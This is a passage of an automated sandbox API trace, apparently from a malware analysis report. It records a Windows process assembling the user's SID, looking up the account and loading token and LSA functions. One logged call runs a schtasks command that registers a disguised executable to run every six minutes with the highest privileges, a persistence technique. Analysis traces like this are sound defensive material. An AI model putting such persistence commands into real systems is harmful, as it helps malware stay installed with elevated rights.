(param_1="4219442223") returned 0xa [0157.977] memcpy (in: _Dst=0x117ef8, _Src=0x142308, _Size=0x14 | out: _Dst=0x117ef8) returned 0x117ef8 [0157.977] memcpy (in: _Dst=0x117f0a, _Src=0x1424b8, _Size=0x16 | out: _Dst=0x117f0a) returned 0x117f0a [0157.977] free (_Block=0x2af1a0) [0157.977] free (_Block=0x2af180) [0157.977] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0157.977] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0157.977] malloc (_Size=0x18) returned 0x2af180 [0157.977] malloc (_Size=0x18) returned 0x2af1a0 [0157.977] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0157.977] SysStringLen (param_1="-") returned 0x1 [0157.977] memcpy (in: _Dst=0x1179f8, _Src=0x117ef8, _Size=0x28 | out: _Dst=0x1179f8) returned 0x1179f8 [0157.977] memcpy (in: _Dst=0x117a1e, _Src=0x142308, _Size=0x4 | out: _Dst=0x117a1e) returned 0x117a1e [0157.977] free (_Block=0x2af280) [0157.978] free (_Block=0x2af180) [0157.978] malloc (_Size=0x18) returned 0x2af180 [0157.978] malloc (_Size=0x18) returned 0x2af280 [0157.978] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0157.978] SysStringLen (param_1="4223814209") returned 0xa [0157.978] memcpy (in: _Dst=0x171608, _Src=0x1179f8, _Size=0x2a | out: _Dst=0x171608) returned 0x171608 [0157.978] memcpy (in: _Dst=0x171630, _Src=0x142308, _Size=0x16 | out: _Dst=0x171630) returned 0x171630 [0157.978] free (_Block=0x2af1a0) [0157.978] free (_Block=0x2af180) [0157.978] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0157.978] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0157.978] malloc (_Size=0x18) returned 0x2af180 [0157.978] malloc (_Size=0x18) returned 0x2af1a0 [0157.978] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0157.978] SysStringLen (param_1="-") returned 0x1 [0157.978] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x3e | out: _Dst=0x12d6f8) returned 0x12d6f8 [0157.978] memcpy (in: _Dst=0x12d734, _Src=0x142308, _Size=0x4 | out: _Dst=0x12d734) returned 0x12d734 [0157.978] free (_Block=0x2af280) [0157.978] free (_Block=0x2af180) [0157.978] malloc (_Size=0x18) returned 0x2af180 [0157.978] malloc (_Size=0x18) returned 0x2af280 [0157.978] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0157.978] SysStringLen (param_1="3835049652") returned 0xa [0157.978] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x40 | out: _Dst=0x171608) returned 0x171608 [0157.978] memcpy (in: _Dst=0x171646, _Src=0x142308, _Size=0x16 | out: _Dst=0x171646) returned 0x171646 [0157.978] free (_Block=0x2af1a0) [0157.978] free (_Block=0x2af180) [0157.979] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0157.979] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0157.979] malloc (_Size=0x18) returned 0x2af180 [0157.979] malloc (_Size=0x18) returned 0x2af1a0 [0157.979] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0157.979] SysStringLen (param_1="-") returned 0x1 [0157.979] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x54 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0157.979] memcpy (in: _Dst=0x12d74a, _Src=0x142308, _Size=0x4 | out: _Dst=0x12d74a) returned 0x12d74a [0157.979] free (_Block=0x2af280) [0157.979] free (_Block=0x2af180) [0157.979] malloc (_Size=0x18) returned 0x2af180 [0157.979] malloc (_Size=0x18) returned 0x2af280 [0157.979] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0157.979] SysStringLen (param_1="1000") returned 0x4 [0157.979] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x56 | out: _Dst=0x171608) returned 0x171608 [0157.979] memcpy (in: _Dst=0x17165c, _Src=0x142308, _Size=0xa | out: _Dst=0x17165c) returned 0x17165c [0157.979] free (_Block=0x2af1a0) [0157.979] free (_Block=0x2af180) [0157.979] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0157.979] malloc (_Size=0x5e) returned 0x2b0ad0 [0157.979] free (_Block=0x2af280) [0157.979] malloc (_Size=0x18) returned 0x2af280 [0157.980] free (_Block=0x2b0ad0) [0157.980] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0157.981] GetLastError () returned 0x7a [0157.981] malloc (_Size=0x14) returned 0x2af180 [0157.981] malloc (_Size=0x16) returned 0x2af1a0 [0157.981] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af180, cchName=0xe7ca94, ReferencedDomainName=0x2af1a0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0157.981] malloc (_Size=0x18) returned 0x2af260 [0157.981] malloc (_Size=0x18) returned 0x2af240 [0157.981] free (_Block=0x2af180) [0157.981] free (_Block=0x2af1a0) [0157.982] free (_Block=0x2b8650) [0157.982] free (_Block=0x2af240) [0157.982] free (_Block=0x2af260) [0157.982] free (_Block=0x2af280) [0157.982] free (_Block=0x2b8b50) [0157.982] malloc (_Size=0x48) returned 0x2ad680 [0157.982] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0157.986] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0157.986] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0157.986] malloc (_Size=0x18) returned 0x2af280 [0157.986] CreateEnvironmentBlock () returned 0x1 [0157.990] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0157.990] malloc (_Size=0x18) returned 0x2af260 [0157.990] CreateProcessAsUserW (in: hToken=0x2d4, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"but inside saveb\" /sc MINUTE /mo 6 /tr \"'C:\\comproviderRuntimecommon\\but inside save.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x1183b30, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"but inside saveb\" /sc MINUTE /mo 6 /tr \"'C:\\comproviderRuntimecommon\\but inside save.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x300, hThread=0x2fc, dwProcessId=0x768, dwThreadId=0x8a4)) returned 1 [0158.022] CloseHandle (hObject=0x300) returned 1 [0158.022] CloseHandle (hObject=0x2fc) returned 1 [0158.022] free (_Block=0x2af260) [0158.022] DestroyEnvironmentBlock () returned 0x1 [0158.022] malloc (_Size=0x48) returned 0x2ad6d0 [0158.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2a8334c0, dwHighDateTime=0x1d8a92a)) [0158.022] SetEvent (hEvent=0x1f0) returned 1 [0158.025] CloseHandle (hObject=0x234) returned 1 [0158.025] CloseHandle (hObject=0x2d4) returned 1 [0158.131] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0158.131] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0158.131] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0158.960] SetLastError (dwErrCode=0x0) [0158.960] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0158.960] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0158.960] SetLastError (dwErrCode=0x0) [0158.960] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0158.960] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0158.960] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0158.960] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0158.960] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0158.960] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0158.962] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0158.963] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0158.963] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0158.963] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0158.963] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0158.963] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0158.963] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0158.965] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0158.965] GetCurrentThread () returned 0xfffffffffffffffe [0158.965] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2d4) returned 1 [0158.966] malloc (_Size=0xd8) returned 0x2b90e0 [0158.966] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0158.966] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0158.966] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0158.966] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0158.967] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0158.967] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0158.967] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0158.967] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0158.967] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0158.967] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0158.968] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0158.968] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0158.968] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0158.968] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0158.968] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0158.968] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0158.969] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0158.969] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0158.969] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0158.969] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0158.969] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0158.969] malloc (_Size=0x18) returned 0x2af280 [0158.969] DuplicateTokenEx (in: hExistingToken=0x2d4, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x234) returned 1 [0158.969] malloc (_Size=0x48) returned 0x2ad6d0 [0158.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2af7d820, dwHighDateTime=0x1d8a92a)) [0158.970] SetEvent (hEvent=0x1f0) returned 1 [0158.972] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0158.972] GetLastError () returned 0x7a [0158.972] malloc (_Size=0x2c) returned 0x2b8b10 [0158.972] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2b8b10, ReturnLength=0xe7cb60) returned 1 [0158.972] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0158.972] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0158.972] malloc (_Size=0x1c) returned 0x2b86e0 [0158.972] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b86e0, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b86e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0158.972] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0158.972] malloc (_Size=0x18) returned 0x2af280 [0158.972] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0158.973] malloc (_Size=0x18) returned 0x2af260 [0158.973] malloc (_Size=0x18) returned 0x2af240 [0158.973] SysStringLen (param_1="S-1-") returned 0x4 [0158.973] SysStringLen (param_1="5") returned 0x1 [0158.973] memcpy (in: _Dst=0x142578, _Src=0x142458, _Size=0xa | out: _Dst=0x142578) returned 0x142578 [0158.973] memcpy (in: _Dst=0x142580, _Src=0x142518, _Size=0x4 | out: _Dst=0x142580) returned 0x142580 [0158.973] free (_Block=0x2af280) [0158.973] free (_Block=0x2af260) [0158.973] GetSidSubAuthorityCount (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0158.973] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0158.973] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0158.973] malloc (_Size=0x18) returned 0x2af260 [0158.973] malloc (_Size=0x18) returned 0x2af280 [0158.973] SysStringLen (param_1="S-1-5") returned 0x5 [0158.973] SysStringLen (param_1="-") returned 0x1 [0158.973] memcpy (in: _Dst=0x142518, _Src=0x142578, _Size=0xc | out: _Dst=0x142518) returned 0x142518 [0158.973] memcpy (in: _Dst=0x142522, _Src=0x142458, _Size=0x4 | out: _Dst=0x142522) returned 0x142522 [0158.974] free (_Block=0x2af240) [0158.974] free (_Block=0x2af260) [0158.974] malloc (_Size=0x18) returned 0x2af260 [0158.974] malloc (_Size=0x18) returned 0x2af240 [0158.974] SysStringLen (param_1="S-1-5-") returned 0x6 [0158.974] SysStringLen (param_1="21") returned 0x2 [0158.974] memcpy (in: _Dst=0x142458, _Src=0x142518, _Size=0xe | out: _Dst=0x142458) returned 0x142458 [0158.974] memcpy (in: _Dst=0x142464, _Src=0x142578, _Size=0x6 | out: _Dst=0x142464) returned 0x142464 [0158.974] free (_Block=0x2af280) [0158.974] free (_Block=0x2af260) [0158.974] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b2c [0158.974] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0158.974] malloc (_Size=0x18) returned 0x2af260 [0158.974] malloc (_Size=0x18) returned 0x2af280 [0158.974] SysStringLen (param_1="S-1-5-21") returned 0x8 [0158.974] SysStringLen (param_1="-") returned 0x1 [0158.974] memcpy (in: _Dst=0x142578, _Src=0x142458, _Size=0x12 | out: _Dst=0x142578) returned 0x142578 [0158.974] memcpy (in: _Dst=0x142588, _Src=0x142518, _Size=0x4 | out: _Dst=0x142588) returned 0x142588 [0158.975] free (_Block=0x2af240) [0158.975] free (_Block=0x2af260) [0158.975] malloc (_Size=0x18) returned 0x2af260 [0158.975] malloc (_Size=0x18) returned 0x2af240 [0158.975] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0158.975] SysStringLen (param_1="4219442223") returned 0xa [0158.975] memcpy (in: _Dst=0x118038, _Src=0x142578, _Size=0x14 | out: _Dst=0x118038) returned 0x118038 [0158.975] memcpy (in: _Dst=0x11804a, _Src=0x142458, _Size=0x16 | out: _Dst=0x11804a) returned 0x11804a [0158.975] free (_Block=0x2af280) [0158.975] free (_Block=0x2af260) [0158.975] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0158.975] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0158.975] malloc (_Size=0x18) returned 0x2af260 [0158.975] malloc (_Size=0x18) returned 0x2af280 [0158.975] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0158.975] SysStringLen (param_1="-") returned 0x1 [0158.975] memcpy (in: _Dst=0x1182b8, _Src=0x118038, _Size=0x28 | out: _Dst=0x1182b8) returned 0x1182b8 [0158.975] memcpy (in: _Dst=0x1182de, _Src=0x142578, _Size=0x4 | out: _Dst=0x1182de) returned 0x1182de [0158.975] free (_Block=0x2af240) [0158.975] free (_Block=0x2af260) [0158.976] malloc (_Size=0x18) returned 0x2af260 [0158.976] malloc (_Size=0x18) returned 0x2af240 [0158.976] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0158.976] SysStringLen (param_1="4223814209") returned 0xa [0158.976] memcpy (in: _Dst=0x107588, _Src=0x1182b8, _Size=0x2a | out: _Dst=0x107588) returned 0x107588 [0158.976] memcpy (in: _Dst=0x1075b0, _Src=0x142578, _Size=0x16 | out: _Dst=0x1075b0) returned 0x1075b0 [0158.976] free (_Block=0x2af280) [0158.976] free (_Block=0x2af260) [0158.976] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0158.976] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0158.976] malloc (_Size=0x18) returned 0x2af260 [0158.976] malloc (_Size=0x18) returned 0x2af280 [0158.976] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0158.976] SysStringLen (param_1="-") returned 0x1 [0158.976] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x3e | out: _Dst=0x12dc48) returned 0x12dc48 [0158.976] memcpy (in: _Dst=0x12dc84, _Src=0x142578, _Size=0x4 | out: _Dst=0x12dc84) returned 0x12dc84 [0158.977] free (_Block=0x2af240) [0158.977] free (_Block=0x2af260) [0158.977] malloc (_Size=0x18) returned 0x2af260 [0158.977] malloc (_Size=0x18) returned 0x2af240 [0158.977] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0158.977] SysStringLen (param_1="3835049652") returned 0xa [0158.977] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x40 | out: _Dst=0x107588) returned 0x107588 [0158.977] memcpy (in: _Dst=0x1075c6, _Src=0x142578, _Size=0x16 | out: _Dst=0x1075c6) returned 0x1075c6 [0158.977] free (_Block=0x2af280) [0158.977] free (_Block=0x2af260) [0158.977] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0158.977] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0158.977] malloc (_Size=0x18) returned 0x2af260 [0158.977] malloc (_Size=0x18) returned 0x2af280 [0158.978] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0158.978] SysStringLen (param_1="-") returned 0x1 [0158.978] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x54 | out: _Dst=0x12dc48) returned 0x12dc48 [0158.978] memcpy (in: _Dst=0x12dc9a, _Src=0x142578, _Size=0x4 | out: _Dst=0x12dc9a) returned 0x12dc9a [0158.978] free (_Block=0x2af240) [0158.978] free (_Block=0x2af260) [0158.978] malloc (_Size=0x18) returned 0x2af260 [0158.978] malloc (_Size=0x18) returned 0x2af240 [0158.978] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0158.978] SysStringLen (param_1="1000") returned 0x4 [0158.978] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x56 | out: _Dst=0x107588) returned 0x107588 [0158.978] memcpy (in: _Dst=0x1075dc, _Src=0x142578, _Size=0xa | out: _Dst=0x1075dc) returned 0x1075dc [0158.978] free (_Block=0x2af280) [0158.978] free (_Block=0x2af260) [0158.978] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0158.978] malloc (_Size=0x5e) returned 0x2b0ad0 [0158.978] free (_Block=0x2af240) [0158.978] malloc (_Size=0x18) returned 0x2af240 [0158.979] free (_Block=0x2b0ad0) [0158.979] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0158.980] GetLastError () returned 0x7a [0158.980] malloc (_Size=0x14) returned 0x2af260 [0158.980] malloc (_Size=0x16) returned 0x2af280 [0158.980] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af260, cchName=0xe7ca84, ReferencedDomainName=0x2af280, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0158.981] malloc (_Size=0x18) returned 0x2af1a0 [0158.981] malloc (_Size=0x18) returned 0x2af180 [0158.981] free (_Block=0x2af260) [0158.981] free (_Block=0x2af280) [0158.981] free (_Block=0x2b86e0) [0158.981] free (_Block=0x2af180) [0158.981] free (_Block=0x2af1a0) [0158.981] free (_Block=0x2af240) [0158.982] free (_Block=0x2b8b10) [0158.982] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x10a020, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, 